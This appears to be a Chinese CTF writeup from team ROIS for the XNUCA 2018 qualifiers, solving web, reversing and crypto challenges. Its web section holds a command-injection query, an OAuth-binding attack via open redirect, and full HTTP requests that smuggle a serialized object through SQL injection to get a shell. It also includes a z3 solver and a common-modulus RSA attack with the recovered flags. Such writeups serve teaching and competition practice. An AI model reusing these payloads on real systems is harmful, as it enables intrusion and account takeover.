XNUCA 2018 预赛 ROIS Writeup

WEB

ezdotso

生活总是充满惊喜的。永远相信,美好的事情即将发生。

——尤其是当主办方环境配置错误的情况下,从没有人会想到,&action=cmd&cmd=cat%20/flag是如此美妙。

Blog

you can login in the blog services by your username or auth by auth2.0, try to hack it.
http://106.75.66.211:8000/

提交的链接只允许 http://106.75.66.211:8000 开头, 并且长度有限制
已登录用户可以通过下面任意跳转
http://106.75.66.211:8000/main/login?next=//baidu.com

未绑定oauth的用户可以点击绑定跳转到绑定界面
但是返回链接没有对用户做确认. 只要点击绑定返回的连接 就会被绑定成

攻击链:

  1. 建立一个 oauth 账号
  2. 建立一个 blog 账号
  3. 点击绑定新账号, 使用 burp 拦截回调链接
  4. 在自己的服务器写下如下代码

    <?php
    header('location: http://106.75.66.211:8000/main/oauth/?state=OnmJVKIR0V&code=*********')
    
  5. 提交 http://106.75.66.211:8000/main/login?next=//xxxx 给管理员

  6. 使用oauth 重新登录 blog 即成为管理员

hardphp

题目要求是Get Shell,因此考虑一切能直接执行代码的方案。先从/www.zip扫描危险函数,发现没有,所以只能考虑include等方案。

先进入后台,发现只有登录,没有注册,因此开始源码审计。从/www.zip 拿到源码后,发现注册接口:/user/register,因此注册用户,进入后台。

发现上传接口:

  1. 可以上传.php,但文件名被随机化了。
  2. 因为.htaccess php_flag engine off;的缘故,无法执行代码。
  3. 代码审计,发现路径不可控,无法覆盖任意文件或Session。

继续代码审计。从include的角度发现:

  1. 其注册了一个autoload接口,这之内有全场唯一的一个include。
  2. autoload的文件路径可控,但文件名(即类名)是否可控未知。
  3. 考虑Get Shell,猜测类名可控。发现通过控制Controller的值可以部分控制类名,这完全没用,除非上传文件名可控。
  4. 通过反序列化可以加载一个新类,如果反序列化值可控,则此处就可以直接include上传的文件。
$__action     = isset($_GET['a']) ? strtolower($_GET['a']) : 'index';
$__custom    = isset($_GET['s']) ? strtolower($_GET['s']) : 'custom';
spl_autoload_register('inner_autoload');
function inner_autoload($class){
    GLOBAL $__module,$__custom, $list;
    foreach(array('model','include','controller'.(empty($__module)?'':DS.$__module),$__custom) as $dir){
        $file = APP_DIR.DS.$dir.DS.$class.'.php';
        if(file_exists($file)){
            include $file;
            return;
        }
    }
}

因此,考虑反序列化。从反序列化的角度发现:

  1. 所有的unserialize均被加入了allowed_classes,因此不能利用。
  2. Session不存在文件里,而是从数据库直接读写。

我们的思路现在很已经非常明确了,这也可能是本题唯一的通向RCE的方法:先上传文件,取得后门文件的文件名,之后通过某种手段将恶意序列化内容写入Session,再通过可控文件路径让autoload include到我们刚才上传的文件即可。

某种手段是什么呢?

既然到数据库,就寻找注入点。代码审计。全局搜索SELECT、INSERT、UPDATE,发现它所有的输入点(看起来)都没过滤,只是尝试注入无果,后发现一个简易WAF:

escape($_REQUEST);
escape($_POST);
escape($_GET);
escape($_SERVER);

function escape(&$arg) {
    if(is_array($arg)) {
        foreach ($arg as &$value) {
            escape($value);
        }
    } else {
        $arg = str_replace(["'", '\\', '(', ')'], ["‘", '\\\\', '(', ')'], $arg);
    }
}

比较有毒的是,第一次看到把$_SERVER也WAF的题目。事情到这里似乎陷入了僵局,毕竟找不到注入点。但是一般人会把Session存入数据库吗?这里一定有玄机。我们找找SESSION存取的相关代码,很容易就能找到,在/user/login处对SESSION进行了赋值。

$username = arg('username');
$password = arg('password');
$ip = arg('REMOTE_ADDR');
$userAgent = arg('HTTP_USER_AGENT');
// ...
$session = new Session($res[0]["id"],time(),$ip,$userAgent);
$_SESSION['data'] = serialize($session);
$_SESSION['username'] = $username;
$this->jump("/main/index");

——注意到此处有serialize函数,它能把一个数组包括Key在内都转换成一个字符串,而上述WAF函数并没有对Key进行过滤。那这几个参数可以变成数组吗?

当然可以。注意此处的User-Agent. User-Agent是从头里拿的,我们无法让$_SERVER['HTTP_USER_AGENT']变成数组,怎么办呢?

看看arg函数:

function arg($name, $default = null, $trim = false) {
    if (isset($_REQUEST[$name])) {
        $arg = $_REQUEST[$name];
    } elseif (isset($_SERVER[$name])) {
        $arg = $_SERVER[$name];
    } else {
        $arg = $default;
    }
    if($trim) {
        $arg = trim($arg);
    }
    return $arg;
}

因此,只要是POST就行了,没人管他是不是头啦。PHP的POST是支持a[key]=value写法的,因此POST一个HTTP_USER_AGENT[']=1。先在本地试试看。

POST /main/login HTTP/1.1
Host: 172.16.123.1:8001
Content-Length: 49
Cache-Control: max-age=0
Origin: http://172.16.123.1:8001
Upgrade-Insecure-Requests: 1
DNT: 1
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://172.16.123.1:8001/main/login
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,ja;q=0.7
Cookie: PHPSESSID=49cb2d038a2ae214ae1461df36c0ebc7
Connection: close

username=a&password=123456&HTTP_USER_AGENT['cy|O:32:"ohf7lr1g3wr2zojy2icg5djfof8jk60u":1:{s:1:"a";s:3:"111";}';#]=1

从划绿圈处看到,成功了。此处为UPDATE型注入,且不支持多行,不太好利用。

——我只是想改SESSION而已,无所谓了。使用payload', data='NEW DATA';#即可写入数据。

因此最后的做法为:

  1. 通过文件上传接口,上传一个Shell到服务器上,并获知其文件名。
  2. 通过/main/login,注入恶意数据。其中序列化的类名为刚才的文件名,让autoload去寻找$class.'.php'
POST /main/login HTTP/1.1
Host: d8563d2ce6fe49ed8aa0f90c54dcfff3770a440cb4dc4c5d.game.ichunqiu.com
Content-Length: 126
Cache-Control: max-age=0
Origin: http://d8563d2ce6fe49ed8aa0f90c54dcfff3770a440cb4dc4c5d.game.ichunqiu.com
Upgrade-Insecure-Requests: 1
DNT: 1
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://d8563d2ce6fe49ed8aa0f90c54dcfff3770a440cb4dc4c5d.game.ichunqiu.com/main/login
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,ja;q=0.7
Cookie: chkphone=acWxNpxhQpDiAchhNuSnEqyiQuDIO0O0O; PHPSESSID=qb04678jqk7hstq51n46rl4km1
Connection: close

username=a&password=123456&HTTP_USER_AGENT[',data%3d'cy|O:32:"jhaix8qy0k4zzawt23ofykexiarhlz23":1:{s:1:"a";s:3:"111";}';%23]=1

  1. 通过构造autoload路径/main/upload?c=main&a=upload&s=img/upload,告诉autoload应当去哪儿寻找我们的恶意文件,成功Get Shell.

——结果这个做法竟然是非预期。

Reversing

Code interpreter

要求r4为0

09 04 04    xor r4, r4
09 00 00    xor r0, r0
08 01 00    mov r1, ebp[0] // num_0
08 02 01    mov r2, ebp[1] // num_1
08 03 02    mov r3, ebp[2] // num_2
06 01 04    shr r1, 4
05 01 15    mul r1, 0x15
07 00 01    mov r0, r1
04 00 03    sub r0, r3
01 6b cc 7e 1d  push 0x1d7ecc6b
08 01 03    mov r1, ebp[3] // 0x1d7ecc6b
04 00 01    sub r0, r1
02          pop
0a 04 00    or r4, r0
09 00 00    xor r0, r0
08 01 00    mov r1, ebp[0]
08 02 01    mov r2, ebp[1]
08 03 02    mov r3, ebp[2]
06 03 08    shr r3, 8
05 03 03    mul r3, 0x3
07 00 03    mov r0, r3
03 00 02    add r0, r2
01 7c 79 79 60  push 0x6079797c
08 01 03    mov r1, ebp[3] // 0x6079797c
04 00 01    sub r0, r1
02          pop
0a 04 00    or r4, r0
09 00 00    xor r0, r0
08 01 00    mov r1, ebp[0]
08 02 01    mov r2, ebp[1]
08 03 02    mov r3, ebp[2]
06 01 08    shr r1, 0x8
07 00 01    mov r0, r1
03 00 02    add r0, r2
01 bd bd bc 5f  push 0x5fbcbdbd
08 01 03    mov r1, ebp[3] // 0x5fbcbdbd
04 00 01    sub r0, r1
02          pop
0a 04 00    or r4, r0
00          ret
num0 = 0x??5E????
num1 = 0x??????5E
num2 = 0x??????5E

(num0>>4)*0x15 - num2 == 0x1d7ecc6b
(num2>>8)*0x03 + num1 == 0x6079797c
(num0>>8) + num1 == 0x5fbcbdbd
from z3 import *
num = [BitVec(('x%s' % i),32) for i in range(3)]
s = Solver()
s.add(num[0] & 0xff == 0x5e)
s.add(num[1] & 0xff0000 == 0x5e0000)
s.add(num[2] & 0xff == 0x5e)
s.add((num[0] >> 4)*0x15 - num[2] == 0x1d7ecc6b)
s.add((num[2] >> 8)*0x03 + num[1] == 0x6079797c)
s.add((num[0] >> 8) + num[1] == 0x5fbcbdbd)
print s.check()
if s.check() == sat:
    m = s.model()
    for i in range(3):
        print hex(int("%s" % (m[num[i]])))

Crypto

Warm Up

A Buggy Message Distributor
http://static2.ichunqiu.com/icq/resources/fileupload/CTF/echunqiu/xnuca/Warmup_4d5031f93c0f0de54762efb7d0c49fd6.rar

共模攻击

看流量包 Alice, Dave 的N相同

import gmpy2
n = 25118186052801903419891574512806521370646053661385577314262283167479853375867074736882903917202574957661470179148882538361560784362740207649620536746860883395110443930778132343642295247749797041449601967434690280754279589691669366595486824752597992245067619256368446164574344449914827664991591873150416287647528776014468498025993455819767004213726389160036077170973994848480739499052481386539293425983093644799960322581437734560001018025823047877932105216362961838959964371333287407071080250979421489210165485908404019927393053325809061787560294489911475978342741920115134298253806238766543518220987363050115050813263
e1 = 7669

e2 = 6947

message1 = 22917655888781915689291442748409371798632133107968171254672911561608350738343707972881819762532175014157796940212073777351362314385074785400758102594348355578275080626269137543136225022579321107199602856290254696227966436244618441350564667872879196269074433751811632437228139470723203848006803856868237706401868436321225656126491701750534688966280578771996021459620472731406728379628286405214996461164892486734170662556518782043881759918394674517409304629842710180023814702447187081112856416034885511215626693534876901484105593275741829434329109239483368867518384522955176807332437540578688867077569728548513876841471

message2 = 20494665879116666159961016125949070097530413770391893858215547229071116025581822729798313796823204861624912909030975450742122802775879194445232064367771036011021366123393917354134849911675307877324103834871288513274457941036453477034798647182106422619504345055259543675752998330786906376830335403339610903547255965127196315113331300512641046933227008101401416026809256813221480604662012101542846479052832128788279031727880750642499329041780372405567816904384164559191879422615238580181357183882111249939492668328771614509476229785062819586796660370798030562805224704497570446844131650030075004901216141893420140140568
# s & t
gcd, s, t = gmpy2.gcdext(e1, e2)
if s < 0:
    s = -s
    message1 = gmpy2.invert(message1, n)
if t < 0:
    t = -t
    message2 = gmpy2.invert(message2, n)
plain = gmpy2.powmod(message1, s, n) * gmpy2.powmod(message2, t, n) % n
print hex(plain)

0x464c41477b673030645f4c75636b5f265f486176335f46756e7d
FLAG{g00d_Luck_&_Hav3_Fun}

源链接

Hacking more

...